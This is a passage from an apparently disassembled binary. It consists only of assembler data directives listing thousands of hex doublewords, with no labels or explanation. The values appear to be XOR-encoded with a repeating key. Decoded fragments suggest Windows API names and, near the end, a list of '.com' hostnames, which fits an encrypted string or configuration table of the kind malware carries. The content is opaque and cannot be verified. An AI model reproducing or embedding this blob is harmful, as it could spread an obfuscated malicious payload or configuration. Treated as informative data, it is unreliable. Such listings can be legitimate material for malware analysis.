		dd 8D1DC089h, 1F4C9D8Ch, 0D9A59474h, 3DBFE160h,	8C8D1ECCh
		dd 0A99F5A15h, 8C8D1C54h, 1D0C3DD2h, 6E998C8Dh,	9F9C9C63h
		dd 8D1C2499h, 60D99D8Ch, 783D8C77h, 158C8D1Dh, 0ACA99F5Ah
		dd 1F8C8D1Dh, 0C9179472h, 8815FA60h, 43DDBE7h, 1F8C8D1Ch
		dd 5BA5825Ch, 0C2C313EEh, 245F55C7h, 1C9CDC9Dh,	0C9C945Eh
		dd 9C701DC5h, 0B19C9C8Ch, 9C9C8C9Ch, 0A1B89819h, 9C9C8C9Ch
		dd 58B577EFh, 0CDB89819h, 1FC4C55Fh, 745D9F5Ch,	9E7C5D9Eh
		dd 9C8C9CA1h, 1582E09Ch, 9847CC7Eh, 0B89015B8h,	74B89847h
		dd 6363635Ch, 47CE4815h, 9017B880h, 0B88047B8h,	1558B5C4h
		dd 9C9C5B7Ch, 0CD9C9C9Ch, 9C9C5FCDh, 5EDC5CADh,	9C9C9C90h
		dd 0B8A045CCh, 93B89817h, 94B8A826h, 0B8901DFAh, 0B0459E9Ch
		dd 7C14C5B8h, 5F9F7C1Fh, 0B8A045CCh, 0CC6F77C4h, 17B8A045h
		dd 1DFAB898h, 9F9CB890h, 9C9C7C77h, 9C701DC5h, 0B19C9C8Ch
		dd 9C9C8C9Ch, 0A1B89819h, 9C9C8C9Ch, 58B577EFh,	63B89819h
		dd 9C9C9C7Dh, 94B8C817h, 63255CADh, 1B636363h, 6B326E66h
		dd 63D51145h, 94B8D817h, 0B8E0170Ah, 0A386F98h,	0D8174B1Bh
		dd 945E98B8h, 9C9C9C9Ch, 3C30B963h, 0C0C8C8Dh, 9C9C9C9Ch
		dd 3C2CB963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C28B963h, 0C0C8C8Dh
		dd 9C9C9C9Ch, 3C5CB963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C58B963h
		dd 0C0C8C8Dh, 9C9C9C9Ch, 3C54B963h, 0C0C8C8Dh, 9C9C9C9Ch
		dd 3C50B963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C4CB963h, 0C0C8C8Dh
		dd 9C9C9C9Ch, 3C48B963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C44B963h
		dd 0C0C8C8Dh, 9C9C9C9Ch, 3C40B963h, 0C0C8C8Dh, 6Eh dup(9C9C9C9Ch)
		dd 8C9C75DCh, 5	dup(9C9C9C9Ch),	9C9CEFB9h, 9CEE9CEBh, 1Ch dup(9C9C9C9Ch)
		dd 9C9C9C9Dh, 9C9C9C9Fh, 9C9C9C9Eh, 2 dup(9C9C9C9Bh), 9C9C9C95h
		dd 9C9C9C94h, 9C9C9C9Bh, 9C9C9C9Dh, 9C9C9C98h, 9C9C9C94h
		dd 9C9C9C9Ch, 9C9C9C9Dh, 9C9C9C95h, 9C9C9C9Ch, 9C9C9C99h
		dd 9C9C9C98h, 9C9C9C9Bh, 9C9C9C95h, 9C9C9C9Bh, 9C9C9C9Dh
		dd 9C9C9C9Ch, 9C9C9C9Bh, 9C9C9C9Ch, 9C9C9C9Fh, 9C9C9C9Eh
		dd 9C9C9C98h, 9C9C9C9Eh, 9C9C9C9Ch, 9C9C9C99h, 9C9C9C9Eh
		dd 9C9C9C95h, 9C9C9C9Dh, 9C9C9C9Eh, 9C9C9C95h, 9C9C9C9Ch
		dd 9C9C9C9Fh, 9C9C9C95h, 9C9C9C9Bh, 9C9C9C99h, 9C9C9C9Fh
		dd 9C9C9C94h, 9C9C9C9Fh, 9C9C9C95h, 9C9C9C99h, 9C9C9C9Dh
		dd 9C9C9C9Bh, 9C9C9C9Ah, 9C9C9C98h, 9C9C9C9Bh, 9C9C9C9Dh
		dd 9C9C9C9Fh, 9C9C9C99h, 9C9C9C9Ch, 9C9C9C98h, 9C9C9C95h
		dd 2 dup(9C9C9C9Dh), 9C9C9C9Fh,	9C9C9C99h, 9C9C9C9Eh, 9C9C9C94h
		dd 9C9C9C99h, 9C9C9C9Ch, 9C9C9C9Ah, 9C9C9C9Bh, 9C9C9C9Fh
		dd 9C9C9C9Bh, 9C9C9C9Ch, 9C9C9C9Ah, 9C9C9C9Ch, 9C9C9C9Ah
		dd 9C9C9C9Bh, 9C9C9C9Dh, 9C9C9C9Bh, 9C9C9C99h, 9C9C9C9Ch
		dd 2 dup(9C9C9C9Bh), 9C9C9C9Ah,	9C9C9C9Fh, 9C9C9C95h, 9C9C9C9Bh
		dd 2 dup(9C9C9C95h), 9C9C9C99h,	9C9C9C9Bh, 9C9C9C9Fh, 9C9C9C95h
		dd 9C9C9C99h, 9C9C9C9Bh, 9C9C9C9Ch, 2 dup(9C9C9C9Fh), 9C9C9C9Eh
		dd 9C9C9C9Ch, 2	dup(9C9C9C9Fh),	9C9C9C9Dh, 9C9C9C9Ch, 9C9C9C9Dh
		dd 9C9C9C9Eh, 9C9C9C9Ah, 9C9C9C9Dh, 9C9C9C99h, 9C9C9C98h
		dd 9C9C9C95h, 9C9C9C9Fh, 9C9C9C9Dh, 9C9C9C9Bh, 9C9C9C98h
		dd 9C9C9C99h, 9C9C9C9Eh, 9C9C9C94h, 9C9C9C9Dh, 9C9C9C99h
		dd 9C9C9C95h, 2	dup(9C9C9C9Fh),	9C9C9C94h, 9C9C9C99h, 9C9C9C9Dh
		dd 12h dup(9C9C9C9Ch), 8C9C161Dh, 8C9C8371h, 8C9C037Ah
		dd 8C9CFEF9h, 8C9C5A0Eh, 8C9CC815h, 8C9C0170h, 9C9C9C9Ch
		dd 8C9CBB48h, 8C9C4852h, 8C9C89E6h, 8C9C7447h, 8C9CC52Bh
		dd 8C9CEF9Ah, 8C9C5B51h, 8C8D1E7Ch, 9C9C9C9Ch, 8C9CC5D0h
		dd 8C9CD387h, 8C9C7DC6h, 8C9C7D1Bh, 8C9C8434h, 8C9CC010h
		dd 8C9CF68Fh, 8C8D1F98h, 4BF638E4h, 745B2BCAh, 0B8BCEC47h
		dd 5D215272h, 69E09333h, 0DB1B5AB6h, 34ACDA8Fh,	61DA099Dh
		dd 0F51C0444h, 17D86B33h, 6363C72Dh, 15C04B22h,	0F70C8DBEh
		dd 6104ED0Fh, 3AE5DF12h, 0D52894BDh, 6A82B9FEh,	5CDC2FDCh
		dd 0BAC2C6CDh, 752A5B36h, 4AB38CC1h, 9ED888CFh,	443D7A1Dh
		dd 7B4F6754h, 0BD7D517Ah, 5FAB9B4Ah, 6849911Bh,	0D9C68871h
		dd 357F7599h, 60733F64h, 0FBF39E45h, 11B6D016h,	6366A5DEh
		dd 1BED6A1Dh, 0F101FDBEh, 6179A490h, 382276D8h,	0D7425335h
		dd 6A27D7FCh, 222320ECh, 0B407E25Ah, 763DBB66h,	4873AC19h
		dd 98148199h, 45484CA5h, 7A470579h, 833EE064h, 5830CAF9h
		dd 68B5BED8h, 0DFB6630Bh, 3708BF3Bh, 600F3CA5h,	0F9C7C55Fh
		dd 1390500Eh, 637368E1h, 1918C14Dh, 0F334E2D3h,	62B07A7Ch
		dd 3F9DDF88h, 0D2948D3Dh, 6BCFE21Eh, 21A66EA9h,	0B64B4E27h
		dd 771A4F0Dh, 8C9C05D7h, 8C9C05CAh, 8C9C053Bh, 8C9C0561h
		dd 0E8F5F2D5h, 0F5F0FDF5h, 0EEDFF9E6h, 0FFF5E8F5h, 0F9CFF0FDh
		dd 0F3F5E8FFh, 0EEDF9CF2h, 0F9E8FDF9h, 0F9EEF4C8h, 0D09CF8FDh
		dd 0F9EAFDF9h, 0E8F5EEDFh, 0F0FDFFF5h, 0E8FFF9CFh, 9CF2F3F5h
		dd 0F9E8F2D9h, 0F5EEDFEEh, 0FDFFF5E8h, 0FFF9CFF0h, 0F2F3F5E8h
		dd 9C9C9C9Ch, 7D589C99h, 42B7D2Bh, 8A9C999Ch, 0F9AFF9AFh
		dd 9C9F9CD6h, 0DD84D2F7h, 59C989Ch, 593F6620h, 809C9D9Ch
		dd 9CC69CFCh, 0F6F6D495h, 0E1FBE0FAh, 0F8F4DBB5h, 0DAC5B6F0h
		dd 0C6B5A6C5h, 0F0E3E7F0h, 0D8C6B6E7h, 0C6B5C5C1h, 0F0E3E7F0h
		dd 0D8C6B6E7h, 0D1B5C5C1h, 0F9E5E6FCh
		dd 0DBB5ECF4h, 0B6F0F8F4h, 0C5C1D8C6h, 0F4F8D0B5h, 0D4B5F9FCh
		dd 0F0E7F1F1h, 0C5B6E6E6h, 0B5A6C5DAh, 0E7F0E6C0h, 0F8F4DBB5h
		dd 9CB6B6F0h, 6E3E9C92h, 1E0D6E71h, 4D4D5F6Eh, 5A4C5149h
		dd 9CA59C0Ch, 0AFA6BAE9h, 0BBA8BEBDh, 80A4B5ACh, 9A869B8Ah
		dd 0B59D8F86h, 8C9D87A0h, 9D8C879Bh, 8A8AA8C9h,	9D879C86h
		dd 8788A4C9h, 9B8C8E88h, 8A8AA8B5h, 9D879C86h, 0D9CCB59Ah
		dd 999C91D1h, 355709Ch,	9C03552Ch, 0B89D9C99h, 0EEB8C1EEh
		dd 189C989Ch, 32446B3Dh, 789C9B9Ch, 110A080Bh, 9C1E0C16h
		dd 306F9C9Ah, 0A0A031Ch, 9C989C1Fh, 8E8BC1EFh, 9C979C9Bh
		dd 0B1E4C894h, 0E1B1CBE1h, 0F8F8F0BAh, 349C9E9Ch, 9D9C1414h
		dd 9CBC939Ch, 1D709C8Eh, 1C041303h, 4032F03h, 3050411h
		dd 43021112h, 9C929C42h, 13102571h, 151F1826h, 1D32061Eh
		dd 9C020210h, 0F5B39C92h, 0F5D7DDDAh, 0C7C0C1DAh, 0D6DFDAF5h
		dd 9C959CF2h, 494E6127h, 484B6443h, 919C4254h, 0C7E5A29Ch
		dd 0D0C7F4D6h, 0CCCDCBD1h, 9CE3DAE7h, 5E099C8Fh, 4A6C6D60h
		dd 5D7B6861h, 657C4466h, 704B607Dh, 979C6C7Dh, 0FCCD8E9Ch
		dd 0EBFAEFEBh, 0EBE2E7C8h, 9C979CCFh, 0B9AC93DCh, 0B3AE8CB2h
		dd 0AFAFB9BFh, 659C919Ch, 3F091137h, 280A1700h,	170A0800h
		dd 9C9B9C1Ch, 0DED9E7B0h, 0D3D5C8F5h, 529C8E9Ch, 11263715h
		dd 37202027h, 3A06263Ch, 36333720h, 959C361Bh, 0E9C5869Ch
		dd 0EFC0FFF6h, 9CC7E3EAh, 0FFBC9C90h, 0C8DDD9CEh, 0C8C9F1D9h
		dd 9CFDC4D9h, 55129C8Ch, 7D516677h, 6667627Fh, 735C6077h
		dd 9C53777Fh, 84D79C92h, 0BE91A3B2h, 0B887B2BBh, 0B2A3B9BEh
		dd 9C8F9CA5h, 0ABBA98DFh, 0ABACA68Ch, 0B69BB2BAh, 0ABBCBAADh
		dd 9EA6ADB0h, 119C919Ch, 55657456h, 74677863h, 74616845h
		dd 9C909C50h, 0D0C1E3A4h, 0D4C9C1F0h, 0CCD0C5F4h, 9C919CE5h
		dd 49587A3Dh, 494E446Eh, 54695058h, 899C5850h, 4260279Ch
		dd 4B487153h, 6E424A52h, 55484149h, 4E53464Ah, 9C664948h
		dd 1A5C9C88h, 8393035h,	8393135h, 2F250F33h, 8313928h
		dd 9C393135h, 0AFE29C8Fh, 8B968E97h, 87969BA0h,	8BB58DB6h
		dd 8AA18786h, 889C9083h, 0F7D0999Ch, 0F5EBFCEDh, 0FCF2FAF6h
		dd 0FAFCDDFDh, 0FCF4FCEBh, 959CEDF7h, 21024E9Ch, 8222F2Dh
		dd 9C2B2B3Ch, 73379C97h, 43525B52h, 5B5E7152h, 949C7652h
		dd 0A1BED29Ch, 0B7BEA0A6h, 969C85BCh, 0EAC9859Ch, 0C4E9E4E6h
		dd 0E6EAE9E9h, 0A49C979Ch, 0C1C1D6E2h, 0D6C6CDE8h, 9CDDD6C5h
		dd 0EEA99C97h, 0C0EFDDCCh, 0C0FACCC5h, 909CCCD3h, 98A7F19Ch
		dd 90848583h, 9D9DB09Dh, 909C929Eh, 4664239Ch, 404A7757h
		dd 564C6048h, 919C574Dh, 557A3C9Ch, 59725852h, 557A4844h
		dd 9C7D5950h, 743D9C88h, 4F584953h, 565E5251h, 53745958h
		dd 50584F5Eh, 9C495358h, 0B2F19C93h, 90819C9Eh,	98B79483h
		dd 98A5949Dh, 8F9C949Ch, 0E2D4839Ch, 0ECC5F7EAh, 0EDEAD0F1h
		dd 0CCE6EFE4h, 0E0E6E9E1h, 9C929CF7h, 6173572h,	13111D3Eh
		dd 1C3B171Eh, 9C331D14h, 2F689C8Fh, 1D2B1C0Dh, 60D1A1Ah
		dd 71A381Ch, 1B1B0D0Bh,	8E9C0C21h, 0A587C09Ch, 0A4AF8DB4h
		dd 86A5ACB5h, 8EA5ACA9h, 81A5ADA1h, 0C09C949Ch,	0A4A1A592h
		dd 0A5ACA986h, 569C969Ch, 223F2E13h, 33243E02h,	8B9C3237h
		dd 1521679Ch, 9220202h,	8150E11h, 9020A09h, 15133413h
		dd 1400090Eh, 9C8D9C26h, 41507235h, 415C4D70h, 50515A76h
		dd 50475D61h, 979C5154h, 0EDD2849Ch, 0E5F1F0F6h, 0E1F6C2E8h
		dd 9C959CE1h, 8E95B0E7h, 8EA18293h, 909C828Bh, 0CFF9AA9Ch
		dd 0D8D8EFDEh, 0C5E7D8C5h, 8D9CCFCEh, 3715529Ch, 213B1626h
		dd 37201439h, 33220137h, 9C133731h, 4439C8Ah, 2D063726h
		dd 2C312A35h, 2D262E2Dh, 31371037h, 30242D2Ah, 9C909C02h
		dd 0D2C3E1A6h, 0D4C3D5F3h, 0C3CBC7E8h, 9C899CE7h, 303E1B5Ah
		dd 0E2E292Fh, 343F3135h, 2C33280Ah, 3D3F3633h, 8E9C293Fh
		dd 7F5D1A9Ch, 7E73496Eh, 5B786F49h, 75726E6Fh, 636E7368h
		dd 0BE9C919Ch, 0F1D9DBECh, 0F5D0DBCEh, 0C6FBC7DBh, 9C979CFFh
		dd 0FFFDCA98h, 0EBF7F4DBh, 0E1FDD3FDh, 369C899Ch, 5D59597Ah
		dd 44664643h, 5A5F405Fh, 60535153h, 53435A57h, 9C8C9C77h
		dd 0DCDEE9BBh, 0C9DECEEAh, 0D7DAEDC2h, 0C3FEDECEh, 9C859CFAh
		dd 0FCEDDB88h, 0FDEBEDDBh, 0F1FCE1FAh, 0EBFBEDCCh, 0FCF8E1FAh
		dd 0E9CCFAE7h, 809CE4EBh, 0DCFBB29Ch, 0D3DBC6DBh, 0D7C8DBDEh
		dd 0C7D1D7E1h, 0CBC6DBC0h, 0D1C1D7F6h, 0C6C2DBC0h, 8C9CC0DDh
		dd 142B649Ch, 16340A01h, 1701070Bh, 0F0B3017h, 8C9C0A01h
		dd 0E7D1829Ch, 0EEEBC4F6h, 0E1E7D1E7h, 0F6EBF0F7h, 859CC3FBh
		dd 7654139Ch, 777A4067h, 7D76775Ah, 7A757A67h, 66526176h
		dd 617C7B67h, 9C6A677Ah, 0E6A19C8Bh, 0C8F2D5C4h, 0C3D4F2C5h
		dd 0C9D5D4E0h, 0D5C8D3CEh, 0D4CEE2D8h, 8F9CD5CFh, 123649Ch
		dd 0F0B3010h, 0A2D0A01h, 9160B02h, 0B0D1005h, 9C869C0Ah
		dd 1D0C3A69h, 1C0A0C3Ah, 101D001Bh, 0A1A0C2Dh, 1D19001Bh
		dd 1E261B06h, 9C1B0C07h, 0DFBE9C90h, 0CEDFC8DAh, 908C8DD7h
		dd 9CD2D2DAh, 5F3E9C90h, 4E5F485Ah, 100C0D57h, 9C52525Ah
		dd 9C449C9Ch, 1A629C9Dh, 0C49C9D9Ch, 9C9C9CE4h,	9C8F9C5Fh
		dd 0F2FDC693h, 0B3F6FFF1h, 0F2B3FCE7h, 0FCFBE7E6h, 0F6E9FAE1h
		dd 0F99CA99Ch, 9B9897ACh, 8DD99C95h, 8C98D996h,	8B96918Dh
		dd 0D99C8390h, 0B7B0D9D4h, 0ABABB6BAh, 0D9ADBABCh, 0D7B7B0A9h
		dd 9C95A9D9h, 0D59C8A98h, 8B969AD9h, 8D9A9C8Bh,	9C9D9CD7h
		dd 829CB895h, 0AE92C29Ch, 0A7B1A3A7h, 0A7B1E2EEh, 0B6A1A7AEh
		dd 0B2BA87E2h, 0B6A3B0ABh, 0E2ACADABh, 0B0A3A79Bh, 569C9D9Ch
		dd 9C839C76h, 3D340858h, 743D2B39h, 343D2B78h, 782C3B3Dh
		dd 3128201Dh, 312C392Ah, 15783637h, 302C3637h, 9D9C989Ch
		dd 0C5A5ADB8h, 439C969Ch, 1C202530h, 276D302Ch,	969C2F2Fh
		dd 5045369Ch, 45596955h, 5A5A5218h, 939C989Ch, 0CBA1BDB6h
		dd 0A9C9D9Ch, 9C9E9C2Fh, 9CBAFCD9h, 80BB9C9Fh, 989C86D4h
		dd 3078439Ch, 989C7E2Ch, 1F407B9Ch, 989C5A46h, 0C59AA19Ch
		dd 9C9C8B9Ch, 9C9C9C9Fh, 9CAE9CE7h, 9CA09CAAh, 9C8B9C9Ch
		dd 8ACC8AAFh, 8ACC8ACCh, 0CC8A82CCh, 2 dup(0CC8ACC8Ah)
		dd 0C2C0CC81h, 899C8A9Ch, 2 dup(0EAACEAACh), 0ACA4EAACh
		dd 0ACEAACEAh, 0A7EAACEAh, 8C9CFCFBh, 514A199Ch, 5F6D7C5Eh
		dd 7C7D7576h, 6D78496Bh, 979C5871h, 9D86F59Ch, 0C6999990h
		dd 9991DBC7h, 9C979C99h, 4C415A29h, 1B1A4545h, 45454D07h
		dd 0C59C9D9Ch, 9C9E9CB9h, 9C5E0222h, 0D9E39C9Dh, 0AB9C989Ch
		dd 91DE8E8Bh, 39C9D9Ch,	9C969C7Fh, 651F0323h, 196E716Ch
		dd 9C1D5606h, 7A5A9C97h, 1B081C66h, 7F601F17h, 969C642Fh
		dd 1E02229Ch, 6F637064h, 1C6F1867h, 9C9C9C9Ch, 9C9C9C99h
		dd 9C2C9C5Ah, 9C369C3Bh, 9C3F9C2Fh, 9C9C9C9Ch, 9C9C9C98h
		dd 9C599C37h, 9C5A9C56h, 9C9C9C52h, 9C779C9Ch, 44619C98h
		dd 9C3D5B02h, 193C9C9Ah, 64191164h, 9C9B9C1Dh, 7D270B57h
		dd 3B3B3379h, 9C9C9C9Ch, 9C9C9C95h, 9C729C10h, 9C769C75h
		dd 9C629C7Fh, 9C559C75h, 9C749C7Eh, 9CBC9C9Ch, 57045277h
		dd 4A140504h, 703031Fh,	5258584Dh, 4A1F4804h, 1510452h
		dd 5102524Ah, 4524A07h,	9CDF9C49h, 1B481E3Bh, 6584948h
		dd 4B4F4F53h, 1E141401h, 6530448h, 521D481Eh
		dd 1E4E1E06h, 6541D48h,	5D1D4E1Eh, 1D581E06h, 1E065248h
		dd 54481D48h, 1D4E1E06h, 1E06574Fh, 64D1D4Eh, 5F1D4E1Eh
		dd 5481E06h, 0DA9C8C9Ch, 0A9FAA9FFh, 0FFE7B9A8h, 0BCE5F5A9h
		dd 0E4B9FFE7h, 839C829Ch, 0E4EEEABFh, 0E7EAF4A3h, 0B3BEEBF7h
		dd 0EAE6EBA3h, 0BEF7EBE4h, 0ECE1A3B3h, 0F1E6E7F1h, 9B9CB3BEh
		dd 0C526E9Ch, 0C415250h, 9C969C50h, 485D622Dh, 59586043h
		dd 9C6C5548h, 7D319C90h, 7D55505Eh, 50435358h, 9C704843h
		dd 0C1829C97h, 0E7F1EDEEh, 0E6ECE3CAh, 8C9CE7EEh, 725629Ch
		dd 60D2F16h, 2A070E17h,	0E060C03h, 0DC9C2307h, 484B0A9Ch
		dd 4C4F4E49h, 4043424Dh, 44474641h, 585B5A45h, 5C5F5E59h
		dd 5053525Dh, 6E69686Bh, 626D6C6Fh, 66616063h, 7A656467h
		dd 7E79787Bh, 727D7C7Fh, 3B3A7073h, 3F3E3938h, 33323D3Ch
		dd 969C2521h, 23014C9Ch, 251B293Ah, 3B232822h, 6A9C929Ch
		dd 3D1E0F2Dh, 50E0403h,	405261Dh, 929C2B0Dh, 0F7D5929Ch
		dd 0FCFBC5E6h, 0C6E5FDF6h, 0D3E6EAF7h, 1F9C929Ch, 486B7A4Ch
		dd 707B7176h, 677A4B68h, 949C5E6Bh, 5F693A9Ch, 57536E4Eh
		dd 939C485Fh, 0D8FAB99Ch, 0D0EED5D5h, 0CED6DDD7h, 0DAD6CBE9h
		dd 9C979CF8h, 0B9AF87CAh, 0AFADABB9h, 8BB2A588h, 1A9C949Ch
		dd 5C6E7F49h, 696F7975h, 0E29C939Ch, 838790A1h,	8BB58796h
		dd 958D868Ch, 9CA39AA7h, 72219C92h, 48765544h, 564E454Fh
		dd 464F4E6Dh, 9C919C60h, 0A0D2264h, 0A0D3300h, 21130B00h
		dd 8E9C251Ch, 2296C9Ch,	9280119h, 318071Fh, 2053B1Ch, 1F1B0308h
		dd 1B9C919Ch, 6F687E5Fh, 4C627469h, 747F7572h, 9C929C6Ch
		dd 31321357h, 33393E00h, 25072038h, 9C163438h, 32669C8Ch
		dd 15080714h, 312070Ah,	1515032Bh, 9C030107h, 80C79C91h
		dd 0AB84B3A2h, 89B4B4A6h, 86A2AAA6h, 589C909Ch,	3C363D0Bh
		dd 2B2B3D15h, 193D3F39h, 129C929Ch, 7B757740h, 60776661h
		dd 61737E51h, 979C5361h, 694B0C9Ch, 7F694178h, 696B6D7Fh
		dd 9C919C4Dh, 63725017h, 73797E40h, 72456078h, 8F9C6374h
		dd 0A381C69Ch, 0B4A980B2h, 0A9B4A1A3h, 91A2A8B3h, 0A9A2A8AFh
		dd 9C969CB1h, 0EAEDD685h, 0EBECD2F2h, 9CF2EAE1h, 22669C8Ch
		dd 716150Fh, 2B0E0512h,	7151503h, 9C270301h, 98DF9C95h
		dd 0B688ABBAh, 0A8B0BBB1h, 1B9C969Ch, 697E686Eh, 7F352928h
		dd 969C7777h, 0AEA8DD9Ch, 0EFEEAFB8h, 0B1B1B9F3h, 879C909Ch
		dd 0EEF5E6D1h, 0C4F3E9E6h, 0F5E6E2EBh, 779C919Ch, 31040E24h
		dd 24121205h, 191E0503h, 9C909C10h, 3C260B4Fh, 3B2A083Fh
		dd 2E3D2E1Fh, 9C979C22h, 3D2E194Fh, 3B212E26h, 3B262106h
		dd 949C929Ch, 0D5E7EDC7h, 0F7FBF8F8h, 0FDE6E0C7h, 909CF3FAh
		dd 71721D9Ch, 69687C78h, 79332F2Eh, 909C7171h, 0E8EB849Ch
		dd 0F0F1E5E1h, 0E0AAB6B7h, 9D9CE8E8h, 9CB9E59Ch, 0E0C59C93h
		dd 0A3A199B6h, 0BFB0E0A9h, 0A1EBF7F6h, 979CA9A9h, 1F496C9Ch
		dd 491F4930h, 24219h, 9C939C1Fh, 8FA0F6D3h, 0A6F6B5B8h
		dd 0E1E0A9BFh, 0BFBFB7FDh, 0BC9C8C9Ch, 0CBE0CF99h, 0C999CECFh
		dd 8E8FC8C6h, 0D0D0D892h, 729C999Ch, 613165Ch, 9C979C13h
		dd 80B68CC5h, 0A9A4B0B4h, 818C9082h, 109C919Ch,	71447F53h
		dd 755D7B63h, 7562567Dh, 9C909C75h, 0A781ADEEh,	879A8780h
		dd 9487828Fh, 9C939C8Bh, 534C4300h, 72464449h, 74536D6Fh
		dd 676E6972h, 939C929Ch, 0FDC6FCD0h, 0E7FAFDFAh, 0FAFFF2FAh
		dd 8C9CF6E9h, 0B19DDE9Ch, 0BFBBAC9Dh, 0B097BBAAh, 0B0BFAAADh
		dd 959CBBBDh, 888BE49Ch, 0CAD6D781h, 9C888880h,	0D6B99C95h
		dd 8B8ADCD5h, 0D5D5DD97h, 0E89C999Ch, 0CDB49BCDh, 9C999C9Bh
		dd 0DCF3A580h, 989CF3A5h, 3660459Ch, 849C6F19h,	0E9DF8C9Ch
		dd 0E9E7EDD8h, 0E9E2FBC3h, 0E5E4FFFEh, 0E5FEDCFCh, 0E9E0E5FAh
		dd 9D9CE9EBh, 9CB7EB9Ch, 0B5DE9C9Ah, 0A8F3AFB5h, 9C949CA6h
		dd 0F1DD8BAEh, 8BD6DAC3h, 9C9D9CDBh, 9D9C4B1Eh,	9C94C29Ch
		dd 0ACFC9C88h, 8E9388AFh, 998EBF99h, 0B599889Dh, 9D888F92h
		dd 9C999F92h, 0F4849C97h, 0F6EBF0F7h, 0E0AAE7E1h, 979CE8E8h
		dd 8083F39Ch, 96819C87h, 9F97DD90h, 9C919C9Fh, 5B515B28h
		dd 58454D5Ch, 414E475Ah, 9A9C4D44h, 0B5A2C79Ch,	0A2A4AEB1h
		dd 0BA9C9D9Ch, 9C949C9Eh, 0ECFA89A9h, 0EAE0FFFBh, 9C9A9CECh
		dd 1A101A49h, 9C040C1Dh, 8DDD9C95h, 0A8B9B2AFh,	0B994A9BEh
		dd 0D59CB09Ch, 81939A86h, 90879482h, 0B6BC9889h, 0BAA6BAA7h
		dd 8289A1B3h, 0BAB1BBBCh, 9BF5A6A2h, 0A0968981h, 0BBB0A7A7h
		dd 0A7B083A1h, 0BBBABCA6h, 0EB9C959Ch, 8F8499BBh, 0A29F889Eh
		dd 9CB59C8Fh, 535A4615h, 47544241h, 7C584950h, 667A6776h
		dd 4961737Ah, 717B7C42h, 4966627Ah, 67676056h, 43617B70h
		dd 7C666770h, 9D9C7B7Ah, 9C547A9Ch, 0BD909C98h,	9CBEC8B5h
		dd 7F1C9C9Fh, 949C4026h, 80D0F59Ch, 0DB80D0DBh,	8E9C80D0h
		dd 1520739Ch, 35003A10h, 23161F1Ah, 16071C01h, 17160710h
		dd 0B49C9B9Ch, 9AD7D2C7h, 9CD8D8D0h, 2D5E9C9Bh,	3A703D38h
		dd 9A9C3232h, 7076C9Ch,	141A411Dh, 0DB9C9A9Ch, 0F6AAB0B0h
		dd 9A9CA3ADh, 5D5D369Ch, 4E401B47h, 769C9A9Ch, 5B071D1Dh
		dd 949C0E00h, 7224019Ch, 79756C5Eh, 9A9C7424h, 8787EC9Ch
		dd 949AC19Dh, 5F9C9B9Ch, 32002C7Ah, 9C6E272Bh, 44079C8Eh
		dd 73777E75h, 75776952h, 64627368h, 73664373h, 9C979C66h
		dd 111A0B68h, 5A5B1C18h, 4040C46h, 709C979Ch, 90213h, 5E424304h
		dd 9C1C1C14h, 0BEF79C8Dh, 85928399h, 0D7839299h, 9B878FB2h
		dd 85928598h, 9C9C9C9Ch, 9C9C9C98h, 9CD99C9Bh, 9CDF9CD4h
		dd 9C9C9CC2h, 11529C8Ah, 39313B3Eh, 313C1D72h, 3D067237h
		dd 3C3D1172h, 273C3B26h, 9C9A9C37h, 0DCDDCA88h,	9CC6C7DCh
		dd 6B2E9C82h, 7C677E76h, 61677A6Fh, 6F6A0E60h, 24246B7Ah
		dd 637A6F24h, 60677E0Eh, 6A616D0Eh, 9C9A9C6Bh, 1B0E095Ah
		dd 9C19130Eh, 9C579C9Ch, 0B0F59C98h, 9CA1BCB1h,	9EBB9C98h
		dd 9CCE8995h, 0A7959C9Ah, 0A7BBB0A5h, 9C9C9CE0h, 9C949C82h
		dd 71737F3Ch, 737E737Eh, 9C9C9C64h, 9C949CCFh, 0A1A3AFECh
		dd 0A3AEA3AEh, 9CF29CB4h, 4C43782Dh, 0D48414Fh,	4C0D4259h
		dd 42455958h, 4857445Fh, 5E082703h, 425F5D0Dh, 5E5E484Eh
		dd 0D4A4344h, 5943484Eh, 440D5F48h, 43580D5Eh, 48414F4Ch
		dd 0D42590Dh, 4559584Ch, 57445F42h, 42540D48h, 4E0D5F58h
		dd 0D495F4Ch, 27035E08h, 48464C60h, 5F424E0Dh, 594E485Fh
		dd 5E434244h, 49434C0Dh, 545F590Dh, 4C4A4C0Dh, 9C034344h
		dd 0EDA09C96h, 0C5D4D3C1h, 0D2C1E3D2h, 9C989CC4h, 0AFB5AAFCh
		dd 9C9D9CBDh, 9A9C3010h, 0AFA8FB9Ch, 0B8B2AFBAh, 1F9C899Ch
		dd 3F3F3F15h, 5C504D4Fh, 564C4C5Ah, 593F5851h, 5A53565Eh
		dd 9C9A9C5Bh, 6E7B7C2Fh, 9C6C667Bh, 9CDC9C9Ch, 52019C9Ah
		dd 48554055h, 9C9A9C42h, 0FFE5E58Eh, 9CF6F8A3h,	0F7B29C94h
		dd 0DDDEC2CAh, 9CC0D7C0h, 8CC89C95h, 0AA87ABA7h, 0BCABADA2h
		dd 699C929Ch, 3E0B083Dh, 60D0700h, 8052A1Eh, 989C1A1Ah
		dd 286E4B9Ch, 9D9C1771h, 9C760A9Ch, 83CA9C85h, 899E8F84h
		dd 0EA878785h, 0BCB8AF99h, 9AEAB8AFh, 0BDB9B9ABh, 0B9AEB8A5h
		dd 119C9D9Ch, 9C9D9C6Dh, 9D9CB390h, 9C88AB9Ch, 0E2D9C9Dh
		dd 19C9B9Ch, 71757569h,	9C2E2E3Bh, 56759C9Dh, 739C9B9Ch
		dd 307071Bh, 9C5C5C49h,	7D1E9897h, 767D7B76h, 6C6E707Bh
		dd 306D6D7Bh, 71787077h, 7271793Dh, 72716E7Ah, 717D3072h
		dd 70773D73h, 7271796Ah, 717D307Ah, 69693D73h, 7C7D3069h
		dd 6B6C306Ch, 6969693Dh, 7D687F30h, 757D7B76h, 3D6B6C30h
		dd 6C716A6Dh, 677F6E73h, 73717D30h, 6B6C7D3Dh, 306E716Ah
		dd 703D6B70h, 7B30697Bh, 7D307979h, 693D7371h, 6E306969h
		dd 77647071h, 737F7D6Dh, 717D306Dh, 687F3D73h, 7D7B767Dh
		dd 6B6C3075h, 7D687F3Dh, 757D7B76h, 64777C30h, 6969693Dh
		dd 777C7C30h, 6B6C3070h, 6D7F733Dh, 336C7B6Ah, 717D3066h
		dd 69693D73h, 716E3069h, 6D776470h, 6D737F7Dh, 73717D30h
